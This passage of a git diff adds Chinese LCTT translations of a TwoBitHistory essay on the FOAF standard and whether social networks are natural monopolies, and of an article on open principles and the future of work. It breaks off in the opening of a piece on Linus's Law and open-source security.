Corporation(BMT)管理的则是布鲁克林区内的线路,其中也有部分线路延伸到了曼哈顿。1932 年,纽约市开通使用了自己的服务,称为独立地铁系统,与 IRT 和 BMT 展开竞争,所以当时纽约共有三家不同公司控制着市内地铁交通。 + +可能会有人觉得这样的地铁运营效率不高。事实上也确是如此。由于 IRT 和 BMT 投入使用的列车宽度不同,所以在不同的运营系统之间建造换乘站十分困难。此外,乘客换乘时还需向不同的运营商支付费用,这就意味着在换乘站至少要设置两个不同的检票区域。后来,纽约市于 1940 年接管了 IRT 和 BMT,将整个纽约市的地铁交通置于一家运营商的管理之下,不过由于此前分而治之而造成的效率低下问题时至今日依然存在:能在 BMT 的线路上(如 A、C、E 号线)运行的列车无法在 IRT 的线路上(如 1、2、3 号线)运行,因为 IRT 的线路隧道比较窄。因此,MTA 不得不同时管理这两种互不兼容的列车系统,由此带来的支出可能远比世界上其他单一隧道宽度的地铁系统要多得多。 + +IRT 和 BMT 之间的竞争所造成的历史遗留问题告诉我们,地铁系统本身就趋向于垄断经营。相比较于两家运营商相互竞争,只有一家运营商更能解决问题。乘客们虽然失去了选择的余地,但再也不用担心带了一张地铁卡却忘记了另一张的问题。 + +那么,地铁和社交网络又有什么关系呢?我在想,Facebook 是否和 MTA 一样都有自然垄断的属性呢?事实上,无论是自然垄断还是非自然垄断,Facebook 貌似确有垄断能力。当然它垄断的不是社交媒体本身(我在 Twitter 上面花的时间更多),而是垄断了与现实中认识的人之间的线上联系。Facebook 能够垄断所谓的“社交图谱”;如果我不用担心会失去与别人的联系方式,那我明天就会卸载 Facebook。我对 Facebook 对我身上的这种垄断权力感到非常气愤。不过,我却不会生 MTA 的气,即便从字面上和隐喻上来讲,纽约市地铁都是一堆焚烧着的、火舌乱窜的垃圾。说到底,我愤怒是因为我觉得不同于 MTA 的自然垄断,Facebook 的垄断属于非自然垄断。 + +我的意思是,如今 Facebook 之所以能拥有所有人的社交数据,因为它碰巧是第一个做大做强、确立巨头地位的社交平台,而不是因为其他社交平台难以或者无法与之竞争。不过,难道真是因为这样吗?许多事实告诉我们,原因并非如此。Facebook 仅仅是先入为主,还是它提供的服务真的比其他社交平台要好?如果你想联系老朋友,只有 Facebook 这一个平台的话,不会方便许多吗?在一个有几个 “Facebook” 相互竞争的情况下,如果你和你男朋友 Facebook 上面的感情状态都显示“交往中”,但是他始终没来得及更新他在 VisageBook 上的感情状态,那上面现在还显示着他和他大学前任的关系,那么这种情况意味着什么呢?人们信任的又是哪个社交网站呢?如果社交网站有很多,难道在填写信息上面不会很耗时间吗? + +过去几年,由于中心化社交网络的缺陷暴露出来,许多人尝试构建去中心化的平台。基于开放标准,去中心化平台有望建立互通的社交网络生态(比如 [Fediverse][2])。可惜的是,其中没有一个平台能够取代主流社交网络。一个比较明显的原因是 网络效应network effects的力量:既然每个人都在用 Facebook,那么任何想要放弃 Facebook 的人都将会付出巨大的代价。有人会说,这一点恰恰证明了社交网络属于自然垄断行业。但我想说,Facebook、Twitter 等平台是自己选择封闭起来的。此外,鉴于人们已经设想出社交网络的互通性,并且付诸实践,那么封闭的社交平台引发的网络效应就无法证明社交网络具有自然垄断属性。 + +因此,在我看来,真正的问题是:之所以 Facebook 等平台到现在仍是主流社交网络,仅仅是因为网络效应,还是说与只有一家运营商的地铁系统一样,单一的主流社交网络效率更高? + +最后,这些问题让我想起了 FOAF。尽管人们似乎已经忘记了 FOAF 标准,但是早在 Facebook 出现之前,人们就尝试使用 FOAF 建立开放的、去中心化的社交网络。如果过去有哪个去中心化社交网络有机会早于 Facebook 占领如今它驻守的阵地,那只可能是 FOAF。考虑到世界上大部分人都有 Facebook 账号,而且了解 FOAF 的人相对较少,我们是否可以得到如下结论:同地铁一样,社交网络也有中心化和自然垄断的性质;亦或者,FOAF 项目说明,尽管去中心化社交网络可行,但由于其他原因,无法获得人们的广泛支持。 + +### 早期社交媒体的未来 + +FOAF 项目诞生于 2000 年,旨在建立一套表示个人身份以及人与人之间关系的通用标准。在今天看来,这一雄心勃勃的项目可能会让人感到惊讶,但是在上世纪末本世纪初,这样的想法再寻常不过了。当时网络Web(当时人们仍然这样称呼它)刚刚击败了 美国在线America Online 与 [Prodigy][3] 等封闭系统。这让人很自然地想到,计算机领域的创新发展必须要保持开放、基于标准,而且这也正是网络的特点。 + +许多人认为,网络下一场重头戏会是 语义网Semantic Web。我有篇文章介绍了关于语义网概念与运行原理的设想,所以这里不再赘述。但是我会简单谈谈推动人们研究语义网技术的愿景,因为 FOAF 标准正是这一愿景在社交网络方面的应用。 + +一篇题为 《[谷歌如何击败亚马逊和易贝,朝着语义网进军][5]How Google beat Amazon and Ebay to the Semantic Web》 的文章很好地描绘了语义网这一崇高理想。文章写于 2002 年,作者是 Paul Ford。这篇文章设想了 2002 年至 2009 年的情景:通过使用语义网,谷歌取代了亚马逊和易贝,成为电商平台主导者。文章指出,在未来,如果你想买东西,比如说一把二手的马丁吉他,可以在谷歌中输入 `buy:martin guitar`。根据你的邮编,谷歌会告诉你附近哪些人在卖马丁吉他。谷歌之所以可以获取卖家及其吉他的信息,是因为它可以读取资源描述框架标记语言(RDF),该语言是语义网的核心技术,用于描述资源之间的关系。人们可以将 RDF 内容嵌入网页,能实现很多用途,比如给要卖的东西打广告。Ford 预测,随着使用这种方式搜索和售卖商品的人数增加,亚马逊和易贝将失去它们在电商领域近乎垄断的地位。如果可以搜索全网,又有谁会执着于某个封闭的数据库呢?Ford 写道,即便是谷歌,最终也会失势。因为理论上,任何一个人都可以检索网络,查阅 RDF,提供类似于谷歌的搜索功能。起码,如果谷歌打算对语义网上的每笔交易按一定比例收取费用,以此盈利,那么以后随着相关竞争越来越激烈,谷歌的抽成比例很有可能会被迫降低。 + +Ford 所设想的未来是将 RDF 应用于电商领域,不过 RDF 更振奋人心的地方在于,它或许可以应用于各个领域。RDF 标准以及一系列相关标准,一旦得到广泛应用,被认为可以掀开基于数据库的软件服务的发展,如同 HTML 为文档出版带来新的发展契机一般。 + +RDF 以及其他语义网技术似乎准备立刻接管的另一个领域是社交网络。FOAF 项目最初的名字是“RDF 网络环RDF Web Ring”,是语义网发展的产物,旨在实现语义网的设想。FOAF 自诞生之初就被人们看好,有人甚至认为,FOAF 必定会淘汰掉其他社交网站。2004 年《卫报》的一篇文章这样介绍该项目: + +> 最初是 1996 年,SixDegrees 开始运营;接着是去年,出现了 Friendster;上周是 Orkut;下周 Flickr 也会登上舞台。这些网站不胜枚举,都是为了建立社交网络。如今,它们处在互联网发展的最前沿。但是,如果它们无法提供更实质性的好处,在 FOAF 标准得到广泛应用之后,它们就会很难存活下去。[^2] + +文章继续指出,社交网络面临的最大问题就是社交网站数量过多。这就需要一种能够将所有这些网站连接起来的手段。可行方案就是 FOAF ,它终将变革整个社交网络。 + +根据该文章,FOAF 可将不同的社交网站紧密连接起来,实现途径有三个要点: + + * FOAF 将创建机器可读的社交数据格式,可为各个社交网站识别读取,避免让用户在不同的网站上重复输入信息。 + * FOAF 标准下,联系人Contacts(个人信息管理程序)可生成上述格式的文件,供用户在各社交网站使用。 + * FOAF 标准下,这种机器可读的文件可寄放在个人主页上,可为各社交网站读取。这样一来,用户只需将修改过的信息推到自己的主页,其他平台就会同步更新。 + +在今天可能难以想象,但在 2004 年,至少在熟悉技术的网民和技术专栏记者看来,当时社交网络并不算少,但是每个网络的用户群体都很小。考虑到这个问题,虽然对现在的我们来说很陌生,我们就会明白为什么需要建立单一标准是有意义的,这个标准可以使网络的激增不再是一个负担。 + +### FOAF 规范 + +根据 FOAF 项目官网现有的介绍,FOAF 是“一种计算机语言,用于生成与人相关的各种条目的字典,条目以结构化数据的形式储存”。2000 年,FOAF 的创始人 Dan Brickley 和 Libby Miller 发表了一份关于该项目目标的文件,给出了不同的解释,强调了 FOAF 的最终目标:作为工具,FOAF 可让计算机像人类一样读取用户主页的个人信息 [^3]。FOAF 将会“帮助网络提供当前只有中心化平台才能提供的服务”[^4]。通过为个人以及人际关系定义一个标准词汇,FOAF 可以理解用户输入的内容,比如“找找今天推荐的医院医疗人员”,或者“找找曾与我合作撰写过文件的人最近发表的文章”。 + +由于 FOAF 是标准化的词汇表,所以该项目最重要的成果莫过于 FOAF 规范。FOAF 规范规定了 RDF 类 和 RDF 属性(这里我不再解释什么是 RDF,如果感兴趣可查阅 [我关于语义网的文章][4])。RDF 的类由 FOAF 规范规定,表示要描述的对象,比如人(`Person` 类)和组织(`Organization` 类)。RDF 属性由 FOAF 规范规定,表示针对不同对象所做的逻辑声明。例如,一个人可以有一个名字(`givenName` 属性)、一个姓氏(`familyName` 属性),可能还有人格类型(`myersBriggs` 属性)以及与他人的距离或者位置信息(`based_near` 属性)。FOAF 规范的思想是,这些类和属性要足以表示人们在个人主页上显示的身份信息和朋友信息。(LCTT 译注:Myers–Briggs 即迈尔斯布里格斯类型指标,是一种人格类型理论模型。) + +FOAF 规范给出了一份 FOAF 文档的范例。该实例的格式是 XML,不过也可以使用 JSON 等格式进行编写: + +``` + + Dan Brickley + + + + +``` + +这份 FOAF 文件对一个人进行了描述,他的名字叫做 Dan Brickley(该规范的作者之一),他的主页在 `http://danbri.org`,他还有个叫做“open ID”的东西,还有一张图片在 `/images/me.jpg` —— 估计是 Brickley 的主页地址的相对链接。FOAF 的元素名称都会有 `foaf:` 前缀,表示它们是 FOAF 命名空间的一部分。相应地,RDF 的元素名称前面也都会有 `rdf:`。 + +为了说明 FOAF 不限于 XML 格式,这里从维基百科摘取了一个相似的例子,格式为 JSON-LD [^5]: + +``` +{ + "@context": { + "name": "http://xmlns.com/foaf/0.1/name", + "homepage": { + "@id": "http://xmlns.com/foaf/0.1/workplaceHomepage", + "@type": "@id" + }, + "Person": "http://xmlns.com/foaf/0.1/Person" + }, + "@id": "https://me.example.com", + "@type": "Person", + "name": "John Smith", + "homepage": "https://www.example.com/" +} +``` + +上面这份 FOAF 文件也描述了一个人,他的名字叫 John Smith,他的主页在 `www.example.com`。 + +理解 FOAF 原理的最好方法可能就是体验一下 [FOAF-a-matic][10],一个在线生成 FOAF 文档的工具。你可以在工具页面的表单里输入自己的相关信息,创建表示自己的 FOAF 文档(XML 格式)。FOAF-a-matic 说明了 FOAF 是如何避免在注册不同社交网站账号时重复输入社交信息的麻烦:如果每个社交网站都可以读取 FOAF,你只需要在没有注册过帐号的网站上引用你在 FOAF-a-matic 生成的 FOAF 文档,就可以注册一个新帐号了。 + +下面这个实例是我用 FOAF-a-matic 生成的稍微复杂一些的例子,表示我自己: + +``` + + + + + + + + + Sinclair Target + Sinclair + Target + + + + + John Smith + + + + + + +``` + +本例中,主要信息之前有很多其他内容,用于设置文档使用的各种 XML 命名空间。其中就有文档生成工具的信息,这样用户就能明白出了问题要向谁进行反馈。`foaf:Person` 元素给出了我的名字、电子邮箱和主页。其中嵌套了 `foaf:knows` 元素,说明我有个叫 John Smith 的朋友。 + +该例还体现了 FOAF 文档的另外一个重要功能:相互关联。还记得之前 John Smith 的例子吗?他的主页在 `www.example.com`。在我的这个例子中,我将 John Smith 列在了 `foaf:person` 元素里,上一级元素是 `foaf:knows`,表示我认识的人。此外,我还加入了 `rdfs:seeAlso` 元素,放了 John Smith 主页的 FOAF 文档链接。由于加入了这一链接,程序在读取我的 FOAF 文档时,就能根据该链接读取他的 FOAF 文档,查找到更多关于 John Smith 的信息。在之前 John Smith 的 FOAF 文档里,John 并没有提供任何有关朋友的信息(包括我在内),这意味着程序无法确定我们两人之间的朋友关系。但如果他加入了朋友信息,程序在读取我的文档之后,不仅会发现我,也会发现 John、他的朋友、他的朋友的朋友,以此类推,直到程序穷尽我和 John 各自的社交图谱。 + +对于使用过 Facebook 的人来说这似乎很熟悉,也就是说,这个功能对你来说也应该很熟悉。FOAF 没有 `foaf:wall` 属性和 `foaf:poke` 属性,无法完美复制 Facebook 的功能。很明显,FOAF 也没有漂亮的蓝色界面,无法为用户提供可视化的 FOAF 社交网络,它只是一个词汇表。不过,Facebook 的核心功能(我认为这正是 Facebook 垄断能力的关键)在这里是以分布式的方式提供的。在 FOAF 标准下,好友可以将 FOAF 文档上传至个人主页,数字化展示他们真实的社交图谱,用户无需将个人数据的控制权交给 Facebook 这样一个中心化的数据库。要知道,由于对用户个人数据管理不当,扎克伯格大多数时间都在国会委员会前在向公众道歉。 + +### 暂时搁置的 FOAF + +浏览 FOAF 项目主页,你会发现在页面的右上角,有一张喜剧动画《飞出个未来Futurama》主角弗莱躺在休眠舱内的图片。这张图片是《飞出个未来》试播剧集的剧照,讲的是弗莱在 1999 年不小心跌进了低温休眠舱,直到 2999 年才再次苏醒过来的故事。我曾和 Brickley 在 Twitter 上简短地聊了一下,他告诉我,挂这张图片是为了告诉人们,未来 FOAF 项目目前“处于停滞状态”,尽管他希望将来有机会恢复这个项目,继续探索 21 世纪初关于网络运作方式的设想。 + +FOAF 从未像《卫报》期望的那般彻底改变社交网络。一些社交网站选择支持 FOAF 标准,比如 LiveJournal 和 MyOpera [^6]。FOAF 甚至还在 2004 年霍华德·迪恩Howard Dean竞选总统时发挥了一定作用:一群博主和程序员合力搭建起了一个将网站连接起来的网络,称其为“迪恩空间DeanSpace”,帮助迪恩竞选,并在网站上使用 FOAF 记录迪恩的支持者和帮助迪恩竞选的志愿者[^7]。不过,今天人们了解到 FOAF 主要还是因为它是 RDF 应用最为广泛的词汇表之一,而 RDF 正是现代网络的一个重要标准。如果在今天还能用到 FOAF 的话,可能就是谷歌“知识面板knowledge panels”所用技术的原型。知识面板是在用谷歌搜索时,出现在搜索结果右侧的一小块内容,会提供搜索关键词的基本信息。谷歌为推行其知识面板,使用了语义网项目的“后继者” schema.org 项目发布的词汇表[^8]。schema.org 用来描述人物的词汇表似乎有着 FOAF 的影子,两者的目的大多也是相同的。 + +那么,为什么 FOAF 还是失败了呢?为什么人们都在用 Facebook 呢?且不提 FOAF 只是一个简单的标准,没有 Facebook 那么丰富的功能,如果 FOAF 发展势头保持下去,很有可能就会出现相关软件和应用,带来像 Facebook 那样的体验。问题是,在 Facebook 还未发展到能与之分庭抗礼之时,FOAF 这股分布式社交网络的新生力量为什么没能得到广泛应用呢? + +恐怕这个问题可能没有唯一的答案,不过非要我说的话,我觉得最关键的一点是,只有在每个人都有个人网站的情况下,FOAF 才有意义。在上世纪末本世纪初,人们理所当然地觉得网络最终会出现这种情况,因为就我所知,互联网的早期用户多是高产的博客写手、参政的技术专家,他们都希望能有个自己的平台。但是,现实情况却是,普通用户并不愿意学习怎么搭建和运营网站。FOAF 允许你掌控自己的社交信息并将其推送到各类社交网络上,省去了到处注册账号的麻烦。如果你已经有了储存社交信息的个人网站,那么这个想法应该很诱人。但实际上,相比较于买域名、折腾 XML 文档,大多数人觉得填写信息、注册 Facebook 账号来得更容易些。 + +那么,这与我最初的问题(Facebook 是否属于自然垄断)有什么相关呢?我不得不承认,FOAF 的案例说明,社交网络 _的确_ 拥有自然垄断属性。 + +其实,关于用户不愿管理自己的数据这一问题,本身并没有那么重要,因为通过让普通用户在熟悉技术的用户所设置的节点上储存个人信息,[Mastodon][14] 等现代分布式社交网络已经解决了这个问题。这也表明,人们多么不愿意折腾复杂的东西。对去中心化社交网络来说,这无疑是个坏消息,因为相较于中心化网络,去中心化网络更为复杂,用户对此再清楚不过了。 + +对于 FOAF:如果我要写一个能读取个人网站上 FOAF 数据的程序,假设 Sally 的 FOAF 文档提到了 John Smith,说他的主页是 `example.com`;Sue 的 FOAF 文档也提到了 John Smith,说他的主页是 `example.net`。在这种情况下,我应该怎么办呢?到底是只有一个 John Smith 而他正好有两个主页呢,还是这两个 John Smith 是不同的人呢?如果两个 FOAF 文档中 John Smith 的邮箱都是 `johnsmith@gmail.com`,又该怎么办呢?这种身份问题是 FOAF 的软肋。在一封 2003 年的邮件里,Brickley 写道,由于不存在而且可能也不应该存在一个“全球性的身份识别系统”,FOAF 采取的方法只能是“多元的”[^9]。FOAF 用户的邮件地址和主页地址等部分属性具有特殊性,因为邮件地址和主页地址都是独一无二的。因此,这些内容不可能相同的属性可以将人们的多个 FOAF 文档合并起来(用 Libby Miller 的话来说,“挤”在一起)。不过这些特殊属性不存在所谓优先级的说法,所以前面 John Smith 的问题还是不好解决。换句话说,是该相信主页,判定他们不是同一个人呢?还是要相信邮件地址,判定他们是同一个人呢?我真的能够在不干扰到用户的前提下,写出一个程序,解决这类问题吗? + +Facebook 拥有单一的数据库,不用顾虑政治性问题,有条件创建“全球性的身份识别系统”,给每个人发行独一无二的身份 ID,于是问题就迎刃而解了。 + +如果人们真的在乎对自己数据的持有权和掌控权,单是因为复杂难解应该不足以导致分布式社交网络的失败。但是 FOAF 的失败表明,人们从未重视过对自己数据的掌控权。正如一位博主所说,“所谓‘用户想要拥有自己的数据’只不过是一个想法,和实际应用没有关系”[^10]。如果用户对控制的重视程度不足以承受额外的复杂性,如果中心化系统比去中心化系统更为简单易用,如果中心化系统有发展为封闭系统的趋向,借此取得成功,从而享受网络效应带来的巨大效益,那么社交网络确实属于自然垄断。 + +即便如此,我认为地铁系统的案例和社交网络的案例仍存在不同之处。我可以欣然接受 MTA 对地铁交通的垄断,因为我希望地铁系统本身就应该是长期垄断行业。如果纽约地铁只有一家运营商,那么它只能是政府,至少在名义上,政府比没有竞争对手的私企更加负责。但是我却不希望社交网络属于自然垄断。地铁建好了基本上就是一成不变的,但数字世界却在不断演变发展。在今天,分布式社交网络也许比中心化网络更加复杂,就好比带两张地铁卡总是比只带一张要麻烦的多。不过,在未来,互联网会发生根本性变革,那时分布式技术将会更易于使用。 + +如果未来果真如此,FOAF 可能会作为建立分布式社交网络的第一次尝试为人们记住。在企业大型数据库所驱动的中心化网络时代结束之后,分布式网络将会得到人们的长期青睐。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][28],也可通过 [RSS 馈送][29] 订阅,获取更多最新文章。_ + +[^1]: 请注意,这里我没有用“消亡”一词。 +[^2]: Jack Schofield, “Let’s be Friendsters,” The Guardian, February 19, 2004, accessed January 5, 2020, .  +[^3]: Dan Brickley and Libby Miller, “Introducing FOAF,” FOAF Project, 2008, accessed January 5, 2020, .  +[^4]: 同上。 +[^5]: Wikipedia contributors, “JSON-LD,” Wikipedia: The Free Encyclopedia, December 13, 2019, accessed January 5, 2020, .  +[^6]: “Data Sources,” FOAF Project Wiki, December 11 2009, accessed January 5, 2020, .  +[^7]: Aldon Hynes, “What is Dean Space?”, Extreme Democracy, accessed January 5, 2020, .  +[^8]: “Understand how structured data works,” Google Developer Portal, accessed January 5, 2020, .  +[^9]: tef, “Why your distributed network will not work,” Progamming is Terrible, January 2, 2013, .  +[^10]: Dan Brickley, “Identifying things in FOAF,” rdfweb-dev Mailing List, July 10, 2003, accessed on January 5, 2020, .  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2020/01/05/foaf.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: tmp.mJHAgyVHGr#fn:1 +[2]: https://en.wikipedia.org/wiki/Fediverse +[3]: https://en.wikipedia.org/wiki/Prodigy_(online_service) +[4]: https://twobithistory.org/2018/05/27/semantic-web.html +[5]: https://www.ftrain.com/google_takes_all +[6]: tmp.mJHAgyVHGr#fn:2 +[7]: tmp.mJHAgyVHGr#fn:3 +[8]: tmp.mJHAgyVHGr#fn:4 +[9]: tmp.mJHAgyVHGr#fn:5 +[10]: http://www.ldodds.com/foaf/foaf-a-matic +[11]: tmp.mJHAgyVHGr#fn:6 +[12]: tmp.mJHAgyVHGr#fn:7 +[13]: tmp.mJHAgyVHGr#fn:8 +[14]: https://en.wikipedia.org/wiki/Mastodon_(software) +[15]: tmp.mJHAgyVHGr#fn:9 +[16]: tmp.mJHAgyVHGr#fn:10 +[17]: https://twitter.com/TwoBitHistory +[18]: https://twobithistory.org/feed.xml +[19]: https://twitter.com/TwoBitHistory/status/1192196764239093760?ref_src=twsrc%5Etfw +[20]: tmp.mJHAgyVHGr#fnref:1 +[21]: tmp.mJHAgyVHGr#fnref:2 +[22]: tmp.mJHAgyVHGr#fnref:3 +[23]: tmp.mJHAgyVHGr#fnref:4 +[24]: tmp.mJHAgyVHGr#fnref:5 +[25]: tmp.mJHAgyVHGr#fnref:6 +[26]: tmp.mJHAgyVHGr#fnref:7 +[27]: tmp.mJHAgyVHGr#fnref:8 +[28]: tmp.mJHAgyVHGr#fnref:9 +[29]: tmp.mJHAgyVHGr#fnref:10 +[0]: https://img.linux.net.cn/data/attachment/album/202212/10/112053vbi9icvy6xxuv6h9.jpg \ No newline at end of file diff --git a/published/202212/20210103 How open principles will impact the future of work.md b/published/202212/20210103 How open principles will impact the future of work.md new file mode 100644 index 0000000000..3631e38bdd --- /dev/null +++ b/published/202212/20210103 How open principles will impact the future of work.md @@ -0,0 +1,96 @@ +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15388-1.html) +[#]: subject: (How open principles will impact the future of work) +[#]: via: (https://opensource.com/open-organization/21/1/open-is-future-of-work) +[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) + +开放原则将如何影响未来工作 +====== + +> 在许多方面,我们的工作性质塑造了我们。那么,未来工作的性质将发生巨大变化,我们又该做何准备呢? + +![][0] + +如果我们将“工作”定位为获得某种回报的任何形式的付出,那么工作是,并且一直是,决定我们是谁的主要因素之一。工作是我们生活的一个重要方面。在工作中(不论这对我们意味着什么),我们结识朋友,我们获得智力激励和情感满足的源泉,我们得到成长,我们感受自身无穷的创造性。对于我们的家人、朋友、社区和社会而言,工作极其重要,我们不应轻视工作的重要性亦或视其为理所当然。 + +因此如果未来 [工作的性质将发生变化][2],这可能意味着恰恰是我们 _自我认知_ 中的某些关键要素将发生变化。我们应该认真准备应对这些转变。 + +考察自第一次工业革命(18、19世纪)以来的工作转变,很多人从从事农业劳动转为进入城市工厂工作,这从根本上改变了他们的生活方式。新的工作方式需要全新的、更专业的工作技能,而不再是农村经济中常见的手艺。接下来的几十年里,当我们检视我们的个人工作环境时,我们可能会发现工业时代以来的这一趋势可能发生逆转:从层级制度、可代替的通用技术与活动,重新转变为横向协作与对专业知识的熟练掌握的更高要求(回到手艺时代)。 + +不过,这一次,这些转变的到来将是全球性的而非区域性的,而且转变的速度要快的多。 + +在这一新的工作环境中,[开放组织原则][3] 将扮演关键性的角色。 + +本系列中,我将回顾 [Lynda Gratton 教授的作品《转变》][4](LCTT 译注:中译本:《转变:未来社会工作岗位需求变化及应对策略》,ISBN:9787121152894),本书成书于 2014 年(LCTT 译注:本书原版有 [2011 版][T1] 与 [2014 版][T2]),书中数据于 2010 年收集,但今天仍然适用(将来也一样)。本书中,Gratton 教授指出了工作将在 2025 到 2050 年间如何变化。这是关键信息,因为它有助于我们在准备和发展我们的职业生涯时作出正确的选择。 + +Gratton 教授阐释了在上述时间段内影响未来工作的主要因素。本系列中,我们将对它们做一个总结并解释开放组织原则如何融入它们之中。 + +### 影响未来工作的五个因素 + +煤炭与蒸汽动力的发明推动了第一次工业革命。[Gratton 教授][5] 说,今天,五种微妙的力量导致了类似的转变: + + 1. 日益增长的全球化活动 + 2. 技术的快速进步 + 3. 人类寿命与人口数量 + 4. 社会与家庭结构变化 + 5. 低碳经济的需求 + +简而言之,计算机更快了,材料更强了,药物能治疗更多的疾病使得人类的寿命更长。这些都在不同程度上影响了我们未来的工作方式。以下针对上述每一点的一些说明。 + +#### 1、全球化 + +在以前的文章 [《全球化:开放的历史》][6] 中,我讨论了全球化的多种动力与影响因素,其中之一就是贸易。从 1950 年到 2010 年的 60 年间,全球贸易量增加了 60 倍,与此同时运输成本降低了,发展中国家不仅看到了贸易增长,而且看到了新的创新。我还在我的另一篇文章 [《历史变迁中的开放组织》][7] 中讨论了历史早期的全球化。我另外在我的文章 [《全球性的开放组织是怎么样的》][8] 中探讨了从现在到未来全球治理的重要性。如 Gratton 教授所言,全球化在未来工作中将发挥不可否认与不可避免的影响。 + +> 如果未来工作的性质将发生变化,这可能意味着恰恰是我们自我认知中的某些关键要素将发生变化。我们应该认真准备应对这些转变。 + +#### 2、技术 + +计算成本一直在以惊人的速度下降,它还将继续下降。这有助于连接到目前为止仍然大部分被隔离在更大的全球经济之外的数十亿人。他们将开始进入劳动力市场并成为更有影响力的消费者。与此同时,计算机与高级自动化在未来将 [取代人类工作][9],这都将影响未来的工作转变。 + +#### 3、人口数量与寿命 + +Gratton 教授还记录了不同世代的人对未来工作的影响,尤其是在美国。年轻一代在未来将扮演主要角色,他们的态度将不同于上一代。此外,全球不同地区的出生率将影响经济繁荣。由于一些地区的人口降低而另一些的将会增加,将会出现更多的移民。他们将移民至 Gratton 教授谓之“创新集群”的地方。最后,Gratton 教授认为全球预期寿命将会变化。截至 2025 年,世界人口的 10% 将超过 65 岁,这些人口将更可能希望继续工作,以得到持续的收入、精神刺激、身体活动,与他人的联系以及生活的意义与目的的源泉。考虑到今天的很多儿童都更可能拥有超过 100 岁的寿命,如果他们在 65 岁退休,他们余下的至少 35 年里将做不了太多事情。基于这样的考虑,在未来职业道路的多次转换以及在社区与志愿服务项目中的积极参与将会大大拓展。 + +#### 4、社会 + +常规的变化之外,Gratton 教授还描述了一些社会变化。她说,未来女性在工作上的角色将会变化,人们将比以往拥有更多的选择来塑造他们希望的生活;随着个人劳动生产率的提升,平均空闲时间将比以往更多。 + +#### 5、能源 + +我在 [资源工业革命][10] 上的一篇演讲中讨论了资源节约型工业的扩张。格拉特教授为该对话补充了一些有价值的观点。她认为气候变化将逐渐成为主要议题,并导致运输与消费的降低。尤其是世界范围内的水资源供给将无法跟上用水需求。海水淡化项目将大幅扩张(可能由正在开发的 [第四代][11] 分布式小型模块化核电站提供动力)。环境灾难将使人们背井离乡,并在世界范围内形成移民社区。更多能效高的生活方式将会被发现和引入,这将影响未来工作。 + +### 为未来提前准备 + +上述五种力量将推动未来工作方式发生根本性的改变,Gratton 教授认为我们现在就需要开始为这样的未来提前做准备。本系列的下一篇文章中,我将介绍 Gratton 教授对未来的展望以及应对快速变化的未来的一些情境。个人如何将这些变化视作职业机会?另一方面,如果简单地选择对即将到来的变化 _视而不见_ 又会发生什么?我将回顾 Gratton 教授在这些问题上的思考。同样的,我也将解释开放原则如何形成必经的变革的核心。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/21/1/open-is-future-of-work + +作者:[Ron McFarland][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png?itok=6YtME4Hj (Working on a team, busy worklife) +[2]: https://opensource.com/open-organization/18/7/transformation-beyond-digital-2 +[3]: https://theopenorganization.org/definition/ +[4]: http://lyndagratton.com/books/the-shift/ +[5]: https://en.wikipedia.org/wiki/Lynda_Gratton +[6]: https://opensource.com/open-organization/20/7/globalization-history-open +[7]: https://opensource.com/open-organization/20/8/global-history-collaboration +[8]: https://opensource.com/open-organization/20/9/global-open-organization +[9]: https://opensource.com/open-organization/19/9/claiming-human-age-of-AI +[10]: https://www.slideshare.net/RonMcFarland1/the-starting-of-the-third-industrial-revolution +[11]: https://en.wikipedia.org/wiki/Generation_IV_reactor + +[T1]: https://isbnsearch.org/isbn/9780007427956 +[T2]: https://isbnsearch.org/isbn/9780007525850 +[0]: https://img.linux.net.cn/data/attachment/album/202212/28/094540cru0c2b8g2rz2ur2.jpg \ No newline at end of file diff --git a/published/202212/20210209 Understanding Linus-s Law for open source security.md b/published/202212/20210209 Understanding Linus-s Law for open source security.md new file mode 100644 index 0000000000..4ff8387172 --- /dev/null +++ b/published/202212/20210209 Understanding Linus-s Law for open source security.md @@ -0,0 +1,90 @@ +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15344-1.html) +[#]: subject: (Understanding Linus's Law for open source security) +[#]: via: (https://opensource.com/article/21/2/open-source-security) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +理解开源安全中的林纳斯定律 +====== + +林纳斯定律Linus's Law即“只要有足够多的眼睛关注,任何漏洞都无处隐藏given enough eyeballs, all bugs are shallow”。那么林纳斯定律是如何应用于开源软件安全的呢? + +![][0] + +这篇文章讨论 Linux 对开源软件安全的影响。 + +开源软件的一个常被赞扬的优点是它的代码能够被任何人审查(安全专家通常称之为“代码审计”)。然而,如果你真的去问很多开源软件用户他们上一次检查代码是什么时候。你大概只能收获他们茫然的眼神或者是喃喃的低语。此外,对于一些相当大型的开源应用,有效地审查每一行代码也是困难的。 + +根据上述这些稍显不安的事实,我们不得不思考:如果没有人察看这些代码,它是开源还是闭源真的有关系吗? + +### 你应该相信开源吗? + +计算机爱好者倾向于作出认为开源软件比其他软件更加安全的传统假设。我们通常不会讨论这意味者什么:比较的基础是什么(比什么“更”安全?),或者上述结论是如何得到的。这是一个危险的陈述,因为它表明只要你将一些东西称之为“开源”,它就自动如魔法般地继承了更高的安全性。这不是开源,事实上,这正是开源安全非常反对的。 + +除非你已经亲自审计并理解了软件代码,否则就不应该假定一个应用程序是安全的。一但你做到了这一点,就可以给予它 终极信任ultimate trust。_终极信任_ 